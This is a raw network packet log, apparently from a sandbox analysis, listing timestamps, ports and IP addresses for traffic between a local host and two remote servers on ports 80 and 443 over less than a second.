Nov 26, 2024 16:31:20.284452915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.284499884 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.286607981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.286633968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.286664009 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.286680937 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.288481951 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.288543940 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.290649891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.290703058 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.292709112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.292722940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.292762041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.292779922 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.294816971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.294828892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.294837952 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.294874907 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.294928074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.297060966 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.297072887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.297117949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.299124002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.299168110 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.301512003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.301557064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.305404902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.305474043 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.305625916 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.305681944 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.305731058 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.305742025 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.305782080 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.305802107 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.306483030 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.306495905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.306533098 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.306545973 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.308638096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.308651924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.308700085 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.308716059 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.310885906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.310934067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.316483974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.316497087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.316679955 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.316819906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.316931963 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.318846941 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.318907976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.322832108 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.322877884 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.325252056 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.325278044 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.325344086 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.325355053 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.325438976 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.325911045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.325957060 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.330466986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.330527067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.335124969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.335177898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.339561939 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.339611053 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.345987082 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.346055984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.350522995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.350541115 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.350634098 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.350650072 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.350691080 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.352783918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.352804899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.352849960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.352876902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.356858969 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.356904030 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.357086897 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.357134104 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.357150078 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.357201099 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.357208014 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.357248068 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.359762907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.359813929 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.361372948 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.361416101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.368403912 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.368453979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.375533104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.375597000 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.386817932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.386872053 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.394403934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.394453049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.403323889 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.403374910 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.411062002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.411125898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.418595076 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.418647051 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.421236038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.421289921 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.421714067 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.421762943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.433617115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.433628082 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.433672905 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.436646938 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.436657906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.436697960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.441320896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.441376925 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.442411900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.442454100 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.442476988 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.442493916 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.442553997 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.442564964 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.442609072 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.446299076 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.446357012 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.446387053 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.446398020 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.446445942 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.446459055 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.448004007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.448015928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.448057890 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.458818913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.458831072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.458878994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.458977938 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.459003925 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.459055901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.459065914 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.459101915 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.459121943 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.463582039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.463593006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.463646889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.463664055 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.465869904 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.465881109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.465928078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.468569994 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.468627930 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.469055891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.469105959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.473699093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.473756075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.474330902 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.474383116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.481874943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.481887102 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.481925011 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.481959105 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.487166882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.487234116 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.487978935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.488029957 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.491559982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.491620064 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.491884947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.491944075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.494358063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.494410992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.494853973 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.494999886 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.498600960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.498651028 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.498732090 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.498783112 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.500705957 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.500757933 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.501209974 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.501269102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.502159119 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.502222061 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.502569914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.502638102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.506156921 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.506217003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.506726980 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.506773949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.509457111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.509819984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.513701916 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.513755083 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.513997078 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.513999939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.514008045 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.514029026 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.514043093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.514072895 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.514074087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.514091015 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.517200947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.517215014 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.517263889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.520646095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.520700932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.521512032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.521565914 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.524910927 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.524920940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.524969101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.527657032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.527667999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.527719975 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.531492949 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.531508923 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.531583071 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.531601906 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.531656981 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.533410072 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.533417940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.533473969 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.535348892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.535361052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.535401106 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.538096905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.538109064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.538153887 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.540782928 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.540828943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.542320013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.542363882 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.546205997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.546267986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.546364069 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.546410084 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.546442032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.546449900 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.546483040 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.546504021 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.547638893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.547688007 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.551135063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.551146984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.551184893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.551203966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.553008080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.553059101 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.555149078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.555205107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.559297085 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.559309006 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.559354067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.563034058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.563055038 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.563091993 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.563116074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.567575932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.567588091 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.567639112 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.569405079 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.569443941 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.569482088 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.569494009 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.569519997 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.569538116 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.575782061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.575798035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.575833082 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.575865984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.577429056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.577452898 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.577480078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.577501059 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.582650900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.582663059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.582720995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.584239960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.584294081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.584388971 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.584439039 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.584474087 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.584482908 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.584510088 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.584533930 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.585598946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.585654974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.588754892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.588831902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.590704918 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.590811014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.595518112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.595531940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.595596075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.595597029 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.597269058 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.597282887 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.597415924 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.600507021 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.600588083 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.602077961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.602181911 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.603666067 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.603688955 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.603933096 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.603941917 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.604012966 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.605401039 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.605413914 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.605613947 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.607333899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.607613087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.608984947 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.609071016 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.612524986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.612538099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.612761021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.614047050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.614057064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.614202976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.617212057 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.617230892 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.617402077 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.617415905 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.617487907 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.618541002 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.618554115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.618671894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.621419907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.621433973 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.621484041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.621484041 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.623151064 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.623222113 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.623269081 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.623277903 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.623302937 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.623603106 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.628953934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.628968954 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.629172087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.634165049 CET	80	49720	185.215.113.206	192.168.2.6
